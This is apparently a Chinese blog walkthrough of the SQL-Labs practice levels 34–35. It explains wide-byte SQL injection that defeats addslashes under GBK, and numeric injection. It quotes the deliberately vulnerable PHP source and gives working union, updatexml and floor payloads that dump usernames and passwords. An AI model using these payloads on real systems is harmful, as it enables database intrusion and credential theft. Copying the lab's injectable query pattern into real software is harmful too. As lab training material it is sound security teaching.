首页 > 数据库 >SQL-Labs靶场“34-35”关通关教程

SQL-Labs靶场“34-35”关通关教程

时间:2024-03-24 09:33:49浏览次数:37  
标签:information name 35 34 Labs concat table select schema

君衍.


SQL-Labs靶场通关教程:

SQL注入第一课

SQL无列名注入

SQL报错注入原理

简单的SQL练习,联合注入、报错注入

POST提交方式注入

HTTP头部注入

二次注入

一些绕过案例

HTTP参数污染攻击

一、34关 POST单引号宽字节注入

请求方式注入类型拼接方式
POST联合、报错、布尔盲注、延时盲注username=‘$uname’

本关其实与33关相似,只是使用POST进行传参,过滤方法与33关一致,所以解法也差不多,首先我们依旧是进行测试查看回显:
在这里插入图片描述
可以看到uname以及passwd都进行了过滤,所以我们其实依旧可以使用宽字节注入,下面查看源码。

1、源码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
	$uname1=$_POST['uname'];
	$passwd1=$_POST['passwd'];
        //echo "username before addslashes is :".$uname1 ."<br>";
        //echo "Input password before addslashes is : ".$passwd1. "<br>";
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'User Name:'.$uname1);
	fwrite($fp,'Password:'.$passwd1."\n");
	fclose($fp);
        $uname = addslashes($uname1);
        $passwd= addslashes($passwd1);
        //echo "username after addslashes is :".$uname ."<br>";
        //echo "Input password after addslashes is : ".$passwd;
	// connectivity 
	mysqli_query($con1, "SET NAMES gbk");
	@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
	$result=mysqli_query($con1, $sql);
	$row = mysqli_fetch_array($result, MYSQLI_BOTH);
	if($row)
	{
		···
		echo 'Your Login name:'. $row['username'];
		···
		echo 'Your Password:' .$row['password'];
		···
  	}
	else  
	{
		···
		//echo "Try again looser";
		print_r(mysqli_error($con1));
		···
	}
}
?>

这里我们只需要看以下代码:

$uname = addslashes($uname1);
$passwd= addslashes($passwd1);

使用 addslashes 函数对用户名和密码进行转义处理。剩下的代码与第32关相同。依旧是查询到的话输出查询到的信息,查不到的话输出报错信息,所以联合查询以及报错注入依旧可以尝试使用。
在这里插入图片描述
所以我们使用Burp抓包进行测试,抓包发送到重发器中完成注入。

2、联合查询注入

1、猜字段数

uname=1%df' order by 3#&passwd=1&submit=Submit

在这里插入图片描述
我们可以看到没有第三列,所以我们为2列。

2、测试观察回显内容

uname=-1%df' union select 1,2#&passwd=1&submit=Submit

在这里插入图片描述

3、爆出数据库中所有表的名称

uname=-1%df' union select  1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=1&submit=Submit

在这里插入图片描述

4、爆出数据库中表的列名

uname=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656D61696C73#&passwd=1&submit=Submit

在这里插入图片描述
同样的,上面是使用十六进制进行查询,下面我们使用子查询进行查询。

uname=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)#&passwd=1&submit=Submit

在这里插入图片描述

5、爆出数据

uname=-1%df' union select 1,group_concat(id,0x3a,email_id) from emails#&passwd=1&submit=Submit

在这里插入图片描述
下面我们看users表中的内容。

uname=-1%df' union select 1,group_concat(id,username,0x3a,password) from users#&passwd=1&submit=Submit

在这里插入图片描述
即可完成注入。

3、updatexml报错注入

1、爆出该数据库名

uname=1%df' and updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=1&submit=Submit

在这里插入图片描述

2、爆出该数据库中的所有表名

uname=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)#&passwd=1&submit=Submit

在这里插入图片描述

3、爆出数据库中表,表名下的列名

uname=1%df' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)#&passwd=1&submit=Submit

在这里插入图片描述
同样的,当limit为3,1时,我们就可查询出users表中的列名。

4、爆出users表中的数据

uname=1%df' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#&passwd=1&submit=Submit

在这里插入图片描述
即可完成updatexml报错注入。

4、floor报错注入

1、爆出当前数据库名

uname=1%df' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit

在这里插入图片描述

2、爆出当前数据库下的所有表名

uname=1%df' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit

在这里插入图片描述

3、爆出当前数据库表名下的列名

uname=1%df' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 0,1) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit

在这里插入图片描述

uname=1%df' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 3,1) limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit

即可查出users表的列名。

4、爆出数据

uname=1%df' or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)#&passwd=1&submit=Submit

在这里插入图片描述
即可完成floor报错注入。

二、35关 GET数字型报错注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=$id

同样的,使用1单引号进行测试:
在这里插入图片描述
可以看到直接报了错,我们使用1进行尝试发现可以查询成功:
在这里插入图片描述
同时我们使用宽字节注入测试即可看到:
在这里插入图片描述
我们便可以猜测是闭合方式不是单引号,测试其他依旧相同,所以我们查看源码。

1、源码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
function check_addslashes($string)
{
    $string = addslashes($string);
    return $string;
}
// take the variables 
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity 
mysqli_query($con1, "SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
	if($row)
	{
  	echo 'Your Login name:'. $row['username'];
  	echo 'Your Password:' .$row['password'];
  	}
	else 
	{
	print_r(mysqli_error($con1));
	}
}
	else { echo "Please input the ID as parameter with numeric value";}
?>

源码发现和35关差不多,依旧是使用addslashes来进行过滤,但是本关其实挺搞笑的,闭合方式直接不加,使用数字型,所以不用使用宽字节注入,我们只需要不适用单引号、双引号、反斜线就行。
在这里插入图片描述
在这里插入图片描述

2、联合查询注入

所以我们下面注入就正常注入,不适用单双引号就行。

1、猜字段

?id=1 order by 4--+
?id=1 order by 3--+

在这里插入图片描述
在这里插入图片描述

2、测试观察回显

?id=-1 union select 1,2,3--+

在这里插入图片描述

3、爆出该数据库下的所有表名称

?id=-1 union select  1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

在这里插入图片描述

4、爆出表的列名

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x656D61696C73--+

在这里插入图片描述
使用16进制进行查询,下面使用子查询:

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)--+

在这里插入图片描述

5、爆出数据

?id=-1 union select 1,group_concat(id,username,0x3a,password),3 from users--+

在这里插入图片描述
即可完成注入。

3、updatexml报错注入

1、爆出当前数据库名称

?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

2、爆出该数据库下的所有表名

?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)--+

在这里插入图片描述

3、爆出数据库表下的列名

?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)--+

在这里插入图片描述

4、爆出数据

?id=1 and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述
即可完成updatexml报错注入。

4、floor报错注入

1、爆出数据库名

?id=1 or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

2、爆出数据库名下的表名

?id=1 or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

3、爆出当前数据库表下的列名

?id=1 or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 0,1) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

4、爆出数据

?id=1 or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)--+

在这里插入图片描述
即可完成floor报错注入。

标签:information,name,35,34,Labs,concat,table,select,schema
From: https://blog.csdn.net/weixin_63172698/article/details/136481756

相关文章

  • ABC346
    T1:AdjacentProduct模拟代码实现n=int(input())a=list(map(int,input().split()))foriinrange(n-1):print(a[i]*a[i+1])T2:Piano周期性代码实现#include<bits/stdc++.h>#definerep(i,n)for(inti=0;i<(n);++i)usingnamespacestd;int......
  • AtCoder Beginner Contest 346
    AtCoderBeginnerContest346最刺激的一集。尝试挑战手速极限,用了57s做A。但是好像还是很慢。然后做B,仍然想挑战手速。结果一眼出思路只要把wbwbwwbwbwbw多重复几遍就可以代替「无限长」。很快就写完了。然后交了三发罚时。后来发现我复制若干遍wbwbwwbwbwbw的时候......
  • AtCoder Beginner Contest 346
    A-AdjacentProduct(abc346A)题目大意给定\(n\)个数,依次输出相邻俩数的乘积。解题思路按照题意模拟即可。神奇的代码#include<bits/stdc++.h>usingnamespacestd;usingLL=longlong;intmain(void){ios::sync_with_stdio(false);cin.tie(0);c......
  • LeetCode 834. Sum of Distances in Tree
    原题链接在这里:https://leetcode.com/problems/sum-of-distances-in-tree/description/题目:Thereisanundirectedconnectedtreewith n nodeslabeledfrom 0 to n-1 and n-1 edges.Youaregiventheinteger n andthearray edges where edges[i]=[a......
  • ABC346
    D枚举是哪一位相同,情况为\(00\)还是\(11\),然后用前缀和和后缀和求一下即可。\(pre_{j,i}\)表示第一位为\(j\),前\(i\)位的每两个相同的字符均不相同的情况,\(suf\)同理。codeE从后往前考虑。每一种颜色能染上这一行/列没有被染色的格子数,所以记录一下每一行,每一列......
  • P3344 [ZJOI2015] 幻想乡 Wi-Fi 搭建计划
    非常精妙的一个做法。简化题意:定义合法区域为\(y\in[0,R]\)的区域,给定一些在合法区域内的标记点,与一些圆心在合法区域外的,半径为\(R\)的圆,选择第\(i\)个圆会产生\(c_i\)的代价。第一问是最多能覆盖几个标记点;第二问是在保证覆盖标记点最多的情况下,代价的最小值。首先......
  • xss-labs
    Jsp1.什么是Jspjsp的全称是javaservletpage它就是java的服务器页面因为它相对于servlet传回数据的方法比较简单Servlet的本质是一个基于Java的Web组件,旨在处理HTTP请求并生成HTTP响应2.jsp语法脚本程序可包含任意的java语句但是在jsp中不能包含任何文本,html标签和jsp......
  • P3592 [POI2015] MYJ
    P3592[POI2015]MYJ要求总和最大,有两张思路:贪心和dp。稍微想一下,发现贪心思考量太大,考虑dp观察n的数据范围,以及转移方式,可以想到区间dp发现转移跟区间最小值有关,设\(f_{l,r,k}\)为区间\([l,r]\)中最小值不小于\(x\)的答案。转移枚举最小值的位置\(p\),\(f_{l,r,k}......
  • 洛谷P3498 [POI2010] KOR-Beads 题解
    P3498[POI2010]KOR-Beads对于数列${A_i}$,求$k$使数列被分为$\lfloor\frac{n}{k}\rfloor$个部分后不同子数列种类最多(子串翻转前后为一类子串)很容易想到:枚举$k\\in\[1,n]$,记录每个$k$下不同种类数,然后取最优即可,那么问题来了:如何计算种类数?暴戾算法:一种纯......
  • 03天【代码随想录算法训练营34期】第二章 链表part01(203.移除链表元素 、707.设计链表
    203.移除链表元素竟然可以做个假head,学到了classListNode(object):def__init__(self,val=0,next=None):self.val=valself.next=nextclassSolution(object):defremoveElements(self,head,val):dummy_head=ListNode(-1)......